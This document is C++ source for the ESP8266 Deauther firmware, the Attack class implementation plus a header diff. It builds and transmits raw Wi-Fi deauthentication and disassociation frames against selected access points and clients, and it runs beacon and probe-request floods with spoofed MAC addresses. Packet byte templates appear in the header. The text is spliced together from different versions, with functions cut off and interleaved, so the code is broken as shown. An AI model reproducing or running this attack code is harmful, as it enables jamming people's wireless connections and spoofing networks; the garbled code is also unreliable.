Attack::beacon.active = beacon;
Attack::deauth.active = deauth || deauthAll;
Attack::deauthAll = deauthAll;
Attack::probe.active = probe;
Attack::output = output;
Attack::timeout = timeout;
// if (((beacon || probe) && ssids.count() > 0) || (deauthAll && scan.countAll() > 0) || (deauth &&
// scan.countSelected() > 0)){
if (beacon || probe || deauthAll || deauth) {
start();
} else {
prntln(A_NO_MODE_ERROR);
accesspoints.sort();
stations.sort();
stop();
}
}
void Attack::stop() {
if (running) {
running = false;
deauthPkts = 0;
beaconPkts = 0;
probePkts = 0;
deauth.packetCounter = 0;
beacon.packetCounter = 0;
probe.packetCounter = 0;
deauth.maxPkts = 0;
beacon.maxPkts = 0;
probe.maxPkts = 0;
packetRate = 0;
deauth.tc = 0;
beacon.tc = 0;
probe.tc = 0;
deauth.active = false;
beacon.active = false;
probe.active = false;
prntln(A_STOP);
}
}
bool Attack::isRunning() {
return running;
}
void Attack::updateCounter() {
// stop when timeout is active and time is up
if ((timeout > 0) && (currentTime - attackStartTime >= timeout)) {
prntln(A_TIMEOUT);
stop();
return;
}
// deauth packets per second
if (deauth.active) {
if (deauthAll) deauth.maxPkts = settings::getAttackSettings().deauths_per_target *
(accesspoints.count() + stations.count() * 2 - names.selected());
else deauth.maxPkts = settings::getAttackSettings().deauths_per_target *
(accesspoints.selected() + stations.selected() * 2 + names.selected() + names.stations());
} else {
deauth.maxPkts = 0;
}
// beacon packets per second
if (beacon.active) {
beacon.maxPkts = ssids.count();
if (settings::getAttackSettings().beacon_interval == INTERVAL_100MS) beacon.maxPkts *= 10;
} else {
beacon.maxPkts = 0;
}
// probe packets per second
if (probe.active) probe.maxPkts = ssids.count() * settings::getAttackSettings().probe_frames_per_ssid;
else probe.maxPkts = 0;
// random transmission power
if (settings::getAttackSettings().random_tx && (beacon.active || probe.active)) setOutputPower(random(21));
else setOutputPower(20.5f);
// reset counters
deauthPkts = deauth.packetCounter;
beaconPkts = beacon.packetCounter;
probePkts = probe.packetCounter;
packetRate = tmpPacketRate;
deauth.packetCounter = 0;
beacon.packetCounter = 0;
probe.packetCounter = 0;
deauth.tc = 0;
beacon.tc = 0;
probe.tc = 0;
tmpPacketRate = 0;
}
void Attack::status() {
char s[120];
sprintf(s, str(
A_STATUS).c_str(), packetRate, deauthPkts, deauth.maxPkts, beaconPkts, beacon.maxPkts, probePkts,
probe.maxPkts);
prnt(String(s));
}
String Attack::getStatusJSON() {
String json = String(OPEN_BRACKET); // [
json += String(OPEN_BRACKET) + b2s(deauth.active) + String(COMMA) + String(scan.countSelected()) + String(COMMA) +
String(deauthPkts) + String(COMMA) + String(deauth.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(
probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
json += String(packetRate); // 0
json += CLOSE_BRACKET; // ]
return json;
}
void Attack::update() {
if (!running || scan.isScanning()) return;
apCount = accesspoints.count();
stCount = stations.count();
nCount = names.count();
// run/update all attacks
deauthUpdate();
deauthAllUpdate();
beaconUpdate();
probeUpdate();
// each second
if (currentTime - attackTime > 1000) {
attackTime = currentTime; // update time
updateCounter();
if (output) status(); // status update
getRandomMac(mac); // generate new random mac
}
}
void Attack::deauthUpdate() {
if (!deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
// APs
if ((apCount > 0) && (deauth.tc < apCount)) {
if (accesspoints.getSelected(deauth.tc)) {
deauth.tc += deauthAP(deauth.tc);
} else deauth.tc++;
}
// Stations
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
if (stations.getSelected(deauth.tc - apCount)) {
deauth.tc += deauthStation(deauth.tc - apCount);
} else deauth.tc++;
}
// Names
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < nCount + stCount + apCount)) {
if (names.getSelected(deauth.tc - stCount - apCount)) {
deauth.tc += deauthName(deauth.tc - stCount - apCount);
} else deauth.tc++;
}
// reset counter
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
}
}
}
void Attack::deauthAllUpdate() {
if (deauthAll && deauth.active && (deauth.maxPkts > 0) && (deauth.packetCounter < deauth.maxPkts)) {
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
// APs
if ((apCount > 0) && (deauth.tc < apCount)) {
tmpID = names.findID(accesspoints.getMac(deauth.tc));
if (tmpID < 0) {
deauth.tc += deauthAP(deauth.tc);
} else if (!names.getSelected(tmpID)) {
deauth.tc += deauthAP(deauth.tc);
} else deauth.tc++;
}
// Stations
else if ((stCount > 0) && (deauth.tc >= apCount) && (deauth.tc < stCount + apCount)) {
tmpID = names.findID(stations.getMac(deauth.tc - apCount));
if (tmpID < 0) {
deauth.tc += deauthStation(deauth.tc - apCount);
} else if (!names.getSelected(tmpID)) {
deauth.tc += deauthStation(deauth.tc - apCount);
} else deauth.tc++;
}
// Names
else if ((nCount > 0) && (deauth.tc >= apCount + stCount) && (deauth.tc < apCount + stCount + nCount)) {
if (!names.getSelected(deauth.tc - apCount - stCount)) {
deauth.tc += deauthName(deauth.tc - apCount - stCount);
} else deauth.tc++;
}
// reset counter
if (deauth.tc >= nCount + stCount + apCount) deauth.tc = 0;
}
}
}
void Attack::probeUpdate() {
if (probe.active && (probe.maxPkts > 0) && (probe.packetCounter < probe.maxPkts)) {
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(probe.tc % 11, true);
probe.tc += sendProbe(probe.tc);
if (probe.tc >= ssids.count()) probe.tc = 0;
}
}
}
void Attack::beaconUpdate() {
if (beacon.active && (beacon.maxPkts > 0) && (beacon.packetCounter < beacon.maxPkts)) {
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
beacon.tc += sendBeacon(beacon.tc);
if (beacon.tc >= ssids.count()) beacon.tc = 0;
}
}
}
bool Attack::deauthStation(int num) {
return deauthDevice(stations.getAPMac(num), stations.getMac(num), settings::getAttackSettings().deauth_reason, stations.getCh(num));
}
bool Attack::deauthAP(int num) {
return deauthDevice(accesspoints.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, accesspoints.getCh(num));
}
bool Attack::deauthName(int num) {
if (names.isStation(num)) {
return deauthDevice(names.getBssid(num), names.getMac(num), settings::getAttackSettings().deauth_reason, names.getCh(num));
} else {
return deauthDevice(names.getMac(num), broadcast, settings::getAttackSettings().deauth_reason, names.getCh(num));
}
}
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
if (!stMac) return false; // exit when station mac is null
// Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
bool success = false;
// build deauth packet
packetSize = sizeof(deauthPacket);
uint8_t deauthpkt[packetSize];
memcpy(deauthpkt, deauthPacket, packetSize);
memcpy(&deauthpkt[4], stMac, 6);
memcpy(&deauthpkt[10], apMac, 6);
memcpy(&deauthpkt[16], apMac, 6);
deauthpkt[24] = reason;
// send deauth frame
deauthpkt[0] = 0xc0;
if (sendPacket(deauthpkt, packetSize, ch, true)) {
success = true;
deauth.packetCounter++;
}
// send disassociate frame
uint8_t disassocpkt[packetSize];
memcpy(disassocpkt, deauthpkt, packetSize);
disassocpkt[0] = 0xa0;
if (sendPacket(disassocpkt, packetSize, ch, false)) {
success = true;
deauth.packetCounter++;
}
// send another packet, this time from the station to the accesspoint
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
// build deauth packet
memcpy(&disassocpkt[4], apMac, 6);
memcpy(&disassocpkt[10], stMac, 6);
memcpy(&disassocpkt[16], stMac, 6);
// send deauth frame
disassocpkt[0] = 0xc0;
if (sendPacket(disassocpkt, packetSize, ch, false)) {
success = true;
deauth.packetCounter++;
}
// send disassociate frame
disassocpkt[0] = 0xa0;
if (sendPacket(disassocpkt, packetSize, ch, false)) {
success = true;
deauth.packetCounter++;
}
}
if (success) deauth.time = currentTime;
return success;
}
bool Attack::sendBeacon(uint8_t tc) {
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);
mac[5] = tc;
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
}
bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
packetSize = sizeof(beaconPacket);
if (wpa2) {
beaconPacket[34] = 0x31;
} else {
beaconPacket[34] = 0x21;
packetSize -= 26;
}
int ssidLen = strlen(ssid);
if (ssidLen > 32) ssidLen = 32;
memcpy(&beaconPacket[10], mac, 6);
memcpy(&beaconPacket[16], mac, 6);
memcpy(&beaconPacket[38], ssid, ssidLen);
beaconPacket[82] = ch;
// =====
uint16_t tmpPacketSize = (packetSize - 32) + ssidLen; // calc size
uint8_t* tmpPacket = new uint8_t[tmpPacketSize]; // create packet buffer
memcpy(&tmpPacket[0], &beaconPacket[0], 38 + ssidLen); // copy first half of packet into buffer
tmpPacket[37] = ssidLen; // update SSID length byte
memcpy(&tmpPacket[38 + ssidLen], &beaconPacket[70], wpa2 ? 39 : 13); // copy second half of packet into buffer
bool success = sendPacket(tmpPacket, tmpPacketSize, ch, false);
if (success) {
beacon.time = currentTime;
beacon.packetCounter++;
}
delete[] tmpPacket; // free memory of allocated buffer
return success;
// =====
}
bool Attack::sendProbe(uint8_t tc) {
if (settings::getAttackSettings().attack_all_ch) setWifiChannel(tc % 11, true);
mac[5] = tc;
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
}
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
packetSize = sizeof(probePacket);
int ssidLen = strlen(ssid);
if (ssidLen > 32) ssidLen = 32;
memcpy(&probePacket[10], mac, 6);
memcpy(&probePacket[26], ssid, ssidLen);
if (sendPacket(probePacket, packetSize, ch, false)) {
probe.time = currentTime;
probe.packetCounter++;
return true;
}
bool Attack::send() {
if (wifi_send_pkt_freedom(packet, packetSize, 0) == -1) {
/*
if(debug){
Serial.print(packetSize);
Serial.print(" : ");
PrintHex8(packet, packetSize);
Serial.println("");
}
*/
return false;
}
delay(1); //less packets are beeing dropped
return true;
}
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch) {
// Serial.println(bytesToStr(packet, packetSize));
// set channel
setWifiChannel(ch, force_ch);
// sent out packet
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
if (sent) ++tmpPacketRate;
return sent;
void Attack::changeRandom(int num){
randomMode = !randomMode;
randomInterval = num;
if(debug) Serial.println("changing randomMode: " + (String)randomMode);
if(randomMode){
if(debug) Serial.println(" generate random SSIDs");
ssidList.clear();
ssidList._random();
randomCounter = 0;
ssidChange = true;
}
}
void Attack::enableOutput() {
output = true;
prntln(A_ENABLED_OUTPUT);
void Attack::sendDeauths(Mac from, Mac to){
for(int i=0;i<settings.attackPacketRate;i++){
buildDeauth(from, to, 0xc0, settings.deauthReason );
if(send()) packetsCounter[0]++;
buildDeauth(from, to, 0xa0, settings.deauthReason );
if(send()) packetsCounter[0]++;
delay(3);
}
}
void Attack::disableOutput() {
output = false;
prntln(A_DISABLED_OUTPUT);
void Attack::run() {
unsigned long currentMillis = millis();
/* =============== Deauth Attack =============== */
if (isRunning[0] && currentMillis - prevTime[0] >= 1000) {
if (debug) Serial.print("running " + (String)attackNames[0] + " attack...");
prevTime[0] = millis();
for (int a = 0; a < apScan.results; a++) {
if (apScan.isSelected(a)) {
Mac _ap;
int _ch = apScan.getAPChannel(a);
_ap.set(apScan.aps._get(a));
wifi_set_channel(_ch);
int _selectedClients = 0;
for (int i = 0; i < clientScan.results; i++) {
if (clientScan.getClientSelected(i)) {
_selectedClients++;
/*if (settings.channelHop) {
for (int j = 1; j < maxChannel; j++) {
wifi_set_channel(j);
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
if (send()) packetsCounter[0]++;
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
if (send()) packetsCounter[0]++;
}
} else {*/
sendDeauths(_ap, clientScan.getClientMac(i));
//}
}
}
if (_selectedClients == 0) {
Mac _client;
_client.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF);
sendDeauths(_ap, _client);
}
}
}
stati[0] = (String)packetsCounter[0] + "pkts/s";
packetsCounter[0] = 0;
if (debug) Serial.println(" done");
if (settings.attackTimeout > 0) {
attackTimeoutCounter[0]++;
if (attackTimeoutCounter[0] > settings.attackTimeout) stop(0);
}
}
/* =============== Beacon Attack =============== */
int beaconsPerSecond = 10;
if(settings.beaconInterval) beaconsPerSecond = 1;
if (isRunning[1] && currentMillis - prevTime[1] >= 1000/beaconsPerSecond) {
if (debug) Serial.print("running " + (String)attackNames[1] + " attack...");
prevTime[1] = millis();
for (int a = 0; a < ssidList.len; a++) {
buildBeacon(beaconAdrs._get(a), ssidList.get(a), channels[a], ssidList.isEncrypted(a));
if (send()) packetsCounter[1]++;
}
stati[1] = (String)(packetsCounter[1] * beaconsPerSecond) + "pkts/s";
packetsCounter[1] = 0;
macListChangeCounter++;
if(settings.macInterval > 0){
if (macListChangeCounter / beaconsPerSecond >= settings.macInterval) generate();
}
if (debug) Serial.println(" done");
if (settings.attackTimeout > 0) {
attackTimeoutCounter[1]++;
if (attackTimeoutCounter[1] / beaconsPerSecond > settings.attackTimeout) stop(1);
}
}
/* =============== Probe Request Attack =============== */
if (isRunning[2] && currentMillis - prevTime[2] >= 1000) {
if (debug) Serial.print("running " + (String)attackNames[2] + " attack...");
prevTime[2] = millis();
for (int a = 0; a < ssidList.len; a++) {
buildProbe(ssidList.get(a), beaconAdrs._get(a));
if(send()) packetsCounter[2]++;
if(send()) packetsCounter[2]++;
}
stati[2] = (String)(packetsCounter[2]) + "pkts/s";
packetsCounter[2] = 0;
macListChangeCounter++;
if(settings.macInterval > 0){
if (macListChangeCounter >= settings.macInterval) generate();
}
if (debug) Serial.println("done");
if (settings.attackTimeout > 0) {
attackTimeoutCounter[2]++;
if (attackTimeoutCounter[2] > settings.attackTimeout) stop(2);
}
}
//Random-Mode Interval
if((isRunning[1] || isRunning[2]) && randomMode && currentMillis - randomTime >= 1000){
randomTime = millis();
if(randomCounter >= randomInterval){
if(debug) Serial.println(" generate random SSIDs");
ssidList.clear();
ssidList._random();
randomCounter = 0;
ssidChange = true;
}
else randomCounter++;
}
}
uint32_t Attack::getDeauthPkts() {
return deauthPkts;
void Attack::start(int num) {
Serial.println(num);
if(!isRunning[num]) {
Serial.println(num);
isRunning[num] = true;
stati[num] = "starting";
prevTime[num] = millis();_log(num);
attackTimeoutCounter[num] = 0;
refreshLed();
if (debug) Serial.println("starting " + (String)attackNames[num] + " attack...");
if (num == 0) attackMode_deauth = "STOP";
else if(num == 1) attackMode_beacon = "STOP";
if(!settings.multiAttacks){
for (int i = 0; i < attacksNum; i++){
if(i != num) stop(i);
}
}
}else stop(num);
}
uint32_t Attack::getBeaconPkts() {
return beaconPkts;
void Attack::stop(int num) {
if(isRunning[num]) {
if (debug) Serial.println("stopping " + (String)attackNames[num] + " attack...");
if (num == 0) attackMode_deauth = "START";
else if(num == 1) attackMode_beacon = "START";
isRunning[num] = false;
prevTime[num] = millis();
refreshLed();
}
stati[num] = "ready";
}
uint32_t Attack::getProbePkts() {
return probePkts;
void Attack::stopAll() {
for (int i = 0; i < attacksNum; i++) stop(i);
}
uint32_t Attack::getDeauthMaxPkts() {
return deauth.maxPkts;
void Attack::_log(int num){
openLog();
addLog((String)attackNames[num]);
for(int a=0;a<apScan.results;a++){
if(apScan.isSelected(a)){
Mac _ap;
_ap.set(apScan.aps._get(a));
addLog(_ap.toString());
}
}
addLog("-");
for(int i=0;i<clientScan.results; i++) {
if(clientScan.getClientSelected(i)) {
addLog(clientScan.getClientMac(i).toString());
}
}
closeLog();
}
uint32_t Attack::getBeaconMaxPkts() {
return beacon.maxPkts;
size_t Attack::getSize(){
if(apScan.selectedSum == 0) stati[0] = "no AP";
size_t jsonSize = 0;
String json = "{\"aps\":[";
int _selected = 0;
for (int i = 0; i < apScan.results; i++) {
if (apScan.isSelected(i)) {
json += "\"" + apScan.getAPName(i) + "\",";
_selected++;
}
}
if (_selected > 0) json.remove(json.length() - 1);
jsonSize += json.length();
json = "],\"clients\":[";
_selected = 0;
for (int i = 0; i < clientScan.results; i++) {
if (clientScan.getClientSelected(i)) {
json += "\"" + clientScan.getClientMac(i).toString() + " " + clientScan.getClientVendor(i) + " - " + clientScan.getClientName(i) + "\",";
_selected++;
}
}
if (_selected == 0) json += "\"FF:FF:FF:FF:FF:FF - BROADCAST\"";
else json.remove(json.length() - 1);
jsonSize += json.length();
json = "],\"attacks\":[";
for (int i = 0; i < attacksNum; i++) {
json += "{";
json += "\"name\":\"" + attackNames[i] + "\",";
json += "\"status\":\"" + stati[i] + "\",";
json += "\"running\":" + (String)isRunning[i] + "";
json += "}";
if (i != attacksNum - 1) json += ",";
}
json += "],";
jsonSize += json.length();
if(ssidChange){
json = "\"ssid\":[";
jsonSize += json.length();
for (int i = 0; i < ssidList.len; i++) {
json = "[";
json += "\"" + ssidList.get(i) + "\",";
json += String( ssidList.isEncrypted(i) ) + "";
Serial.print(ssidList.isEncrypted(i));
json += "]";
if (i != ssidList.len - 1) json += ",";
jsonSize += json.length();
}
json = "],";
jsonSize += json.length();
}
json = "\"randomMode\":" + (String)randomMode + "}";
jsonSize += json.length();
return jsonSize;
}
uint32_t Attack::getProbeMaxPkts() {
return probe.maxPkts;
void Attack::sendResults(){
size_t _size = getSize();
if (debug) Serial.print("getting attacks JSON ("+(String)_size+")...");
sendHeader(200, "text/json", _size);
String json = "{\"aps\":[";
int _selected = 0;
for (int i = 0; i < apScan.results; i++) {
if (apScan.isSelected(i)) {
json += "\"" + apScan.getAPName(i) + "\",";
_selected++;
}
}
if (_selected > 0) json.remove(json.length() - 1);
sendToBuffer(json);
json = "],\"clients\":[";
_selected = 0;
for (int i = 0; i < clientScan.results; i++) {
if (clientScan.getClientSelected(i)) {
json += "\"" + clientScan.getClientMac(i).toString() + " " + clientScan.getClientVendor(i) + " - " + clientScan.getClientName(i) + "\",";
_selected++;
}
}
if (_selected == 0) json += "\"FF:FF:FF:FF:FF:FF - BROADCAST\"";
else json.remove(json.length() - 1);
sendToBuffer(json);
json = "],\"attacks\":[";
for (int i = 0; i < attacksNum; i++) {
json += "{";
json += "\"name\":\"" + attackNames[i] + "\",";
json += "\"status\":\"" + stati[i] + "\",";
json += "\"running\":" + (String)isRunning[i] + "";
json += "}";
if (i != attacksNum - 1) json += ",";
}
json += "],";
sendToBuffer(json);
if(ssidChange){
json = "\"ssid\":[";
sendToBuffer(json);
for (int i = 0; i < ssidList.len; i++) {
json = "[";
json += "\"" + ssidList.get(i) + "\",";
json += (String)ssidList.isEncrypted(i) + "";
json += "]";
if (i != ssidList.len - 1) json += ",";
sendToBuffer(json);
}
json = "],";
sendToBuffer(json);
ssidChange = false;
}
json = "\"randomMode\":" + (String)randomMode + "}";
sendToBuffer(json);
sendBuffer();
if (debug) Serial.println("done");
}
void Attack::refreshLed() {
int numberRunning = 0;
for (int i = 0; i < sizeof(isRunning); i++) {
if (isRunning[i]) numberRunning++;
//if(debug) Serial.println(numberRunning);
}
if (numberRunning >= 1 && settings.useLed) {
if (debug) Serial.println("Attack LED : ON");
digitalWrite(settings.ledPin, !settings.pinStateOff);
}
else if (numberRunning == 0 || !settings.useLed) {
if (debug) Serial.println("Attack LED : OFF");
digitalWrite(settings.ledPin, settings.pinStateOff);
}
}
uint32_t Attack::getPacketRate() {
return packetRate;
}

View File

@ -1,204 +1,158 @@
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
#ifndef Attack_h
#define Attack_h
#pragma once
#define maxChannel 11
#include "Arduino.h"
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
#include "user_interface.h"
}
#include "language.h"
#include "Accesspoints.h"
#include "Stations.h"
#include "SSIDs.h"
#include "Scan.h"
extern SSIDs ssids;
extern Accesspoints accesspoints;
extern Stations stations;
extern Scan scan;
#include "Mac.h"
#include "MacList.h"
#include "APScan.h"
#include "ClientScan.h"
#include "Settings.h"
#include "SSIDList.h"
extern uint8_t wifi_channel;
extern uint8_t broadcast[6];
extern uint32_t currentTime;
#define attacksNum 3
#define macListLen 64
extern bool macBroadcast(uint8_t* mac);
extern void getRandomMac(uint8_t* mac);
extern void setOutputPower(float dBm);
extern String macToStr(const uint8_t* mac);
extern String bytesToStr(const uint8_t* b, uint32_t size);
extern void setWifiChannel(uint8_t ch, bool force);
extern bool writeFile(String path, String& buf);
extern int8_t free80211_send(uint8_t* buffer, uint16_t len);
extern void PrintHex8(uint8_t *data, uint8_t length);
extern void getRandomVendorMac(uint8_t *buf);
extern String data_getVendor(uint8_t first, uint8_t second, uint8_t third);
extern const bool debug;
extern void addLog(String str);
extern void openLog();
extern void closeLog();
extern String attackMode_deauth;
extern String attackMode_beacon;
class Attack {
public:
Attack();
extern APScan apScan;
extern ClientScan clientScan;
extern Settings settings;
extern SSIDList ssidList;
void start();
void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout);
void stop();
void update();
class Attack
{
public:
Attack();
void generate();
void run();
void start(int num);
void stop(int num);
void stopAll();
void sendResults();
size_t getSize();
void refreshLed();
void changeRandom(int num);
void enableOutput();
void disableOutput();
void status();
String getStatusJSON();
bool ssidChange = true;
private:
bool deauthAP(int num);
bool deauthStation(int num);
bool deauthName(int num);
bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch);
void buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason);
void buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt);
void _log(int num);
void buildProbe(String _ssid, Mac _mac);
bool send();
bool sendBeacon(uint8_t tc);
bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2);
void sendDeauths(Mac from, Mac to);
//attack declarations
const String attackNames[attacksNum] = {"Deauth", "Beacon", "Probe-Request"};
bool sendProbe(uint8_t tc);
bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch);
//attack infos
String stati[attacksNum];
unsigned int packetsCounter[attacksNum];
bool isRunning[attacksNum];
bool sendPacket(uint8_t* packet, uint16_t packetSize, uint8_t ch, bool force_ch);
MacList beaconAdrs;
bool isRunning();
//packet buffer
uint8_t packet[128];
int packetSize;
uint32_t getDeauthPkts();
uint32_t getBeaconPkts();
uint32_t getProbePkts();
uint32_t getDeauthMaxPkts();
uint32_t getBeaconMaxPkts();
uint32_t getProbeMaxPkts();
//timestamp for running every attack
unsigned long prevTime[attacksNum];
uint32_t getPacketRate();
//packet declarations
uint8_t deauthPacket[26] = {
/* 0 - 1 */ 0xC0, 0x00, //type, subtype c0: deauth (a0: disassociate)
/* 2 - 3 */ 0x00, 0x00, //duration (SDK takes care of that)
/* 4 - 9 */ 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB,//reciever (target)
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //source (ap)
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //BSSID (ap)
/* 22 - 23 */ 0x00, 0x00, //fragment & squence number
/* 24 - 25 */ 0x01, 0x00 //reason code (1 = unspecified reason)
};
private:
void deauthUpdate();
void deauthAllUpdate();
void beaconUpdate();
void probeUpdate();
uint8_t beaconPacket_header[36] = {
/* 0 - 1 */ 0x80, 0x00,
/* 2 - 3 */ 0x00, 0x00, //beacon
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, //destination: broadcast
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source
/* 22 - 23 */ 0xc0, 0x6c,
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00,
/* 32 - 33 */ 0x64, 0x00, //0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
/* 34 - 35 */ 0x01, 0x04
/*,0x00, 0x06, //SSID size
0x72, 0x72, 0x72, 0x72, 0x72, 0x72, //SSID
>>beaconPacket_end<<*/
};
void updateCounter();
uint8_t beaconPacket_end[12] = {
0x01, 0x08, 0x82, 0x84,
0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01
/*,channel*/
};
bool running = false;
bool output = true;
uint8_t beaconWPA2tag[26] = {
0x30, //RSN tag
0x18, //tag length
0x01, 0x00, //RSN version
0x00, 0x0f, 0xac, 0x02, //cipher (TKIP)
0x02, 0x00, //pair cipher
0x00, 0x0f, 0xac, 0x04, //cipher (AES)
0x00, 0x0f, 0xac, 0x02, //cipher (TKIP)
0x01, 0x00, //AKM count
0x00, 0x0f, 0xac, 0x02, //PSK
0x00, 0x00 //RSN capabilities
};
struct AttackType {
bool active = false; // if attack is activated
uint16_t packetCounter = 0; // how many packets are sent per second
uint16_t maxPkts = 0; // how many packets should be sent per second
uint8_t tc = 0; // target counter, i.e. which AP or SSID
uint32_t time = 0; // time last packet was sent
};
uint8_t probePacket[25] = {
/* 0 - 1 */ 0x40, 0x00, //Type: Probe Request
/* 2 - 3 */ 0x00, 0x00, //Duration: 0 microseconds
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Destination: Broadcast
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, //Source: random MAC
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //BSS Id: Broadcast
/* 22 - 23 */ 0x00, 0x00, //Sequence number (will be replaced by the SDK)
/* 24 */ 0x00 //Tag Number: SSID parameter set (0)
/* ,0x06, //Tag length
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA //SSID
*/
};
AttackType deauth;
AttackType beacon;
AttackType probe;
bool deauthAll = false;
uint8_t probePacket_RateTag[6] = {
0x01, //Tag Number: Supported Rates (1)
0x04, //Tag length: 4
//Supported Rates:
0x82, //1Mbit/s
0x84, //2Mbit/s
0x8b, //5.5Mbit/s
0x96 //11Mbit/s
};
uint32_t deauthPkts = 0;
uint32_t beaconPkts = 0;
uint32_t probePkts = 0;
int macListChangeCounter = 0;
int attackTimeoutCounter[attacksNum];
int channels[macListLen];
bool buildInLedStatus = false;
uint32_t tmpPacketRate = 0;
uint32_t packetRate = 0;
bool randomMode = false;
int randomInterval = 5;
int randomCounter = 0;
long randomTime = 0;
};
uint8_t apCount = 0;
uint8_t stCount = 0;
uint8_t nCount = 0;
int8_t tmpID = -1;
uint16_t packetSize = 0;
uint32_t attackTime = 0; // for counting how many packets per second
uint32_t attackStartTime = 0;
uint32_t timeout = 0;
// random mac address for making the beacon packets
uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 };
uint8_t deauthPacket[26] = {
/* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
/* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
/* 22 - 23 */ 0x00, 0x00, // fragment & squence number
/* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
};
uint8_t probePacket[68] = {
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
/* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8
/* 60 */ 0x82, // 1(B)
/* 61 */ 0x84, // 2(B)
/* 62 */ 0x8b, // 5.5(B)
/* 63 */ 0x96, // 11(B)
/* 64 */ 0x24, // 18
/* 65 */ 0x30, // 24
/* 66 */ 0x48, // 36
/* 67 */ 0x6c // 54
};
uint8_t beaconPacket[109] = {
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
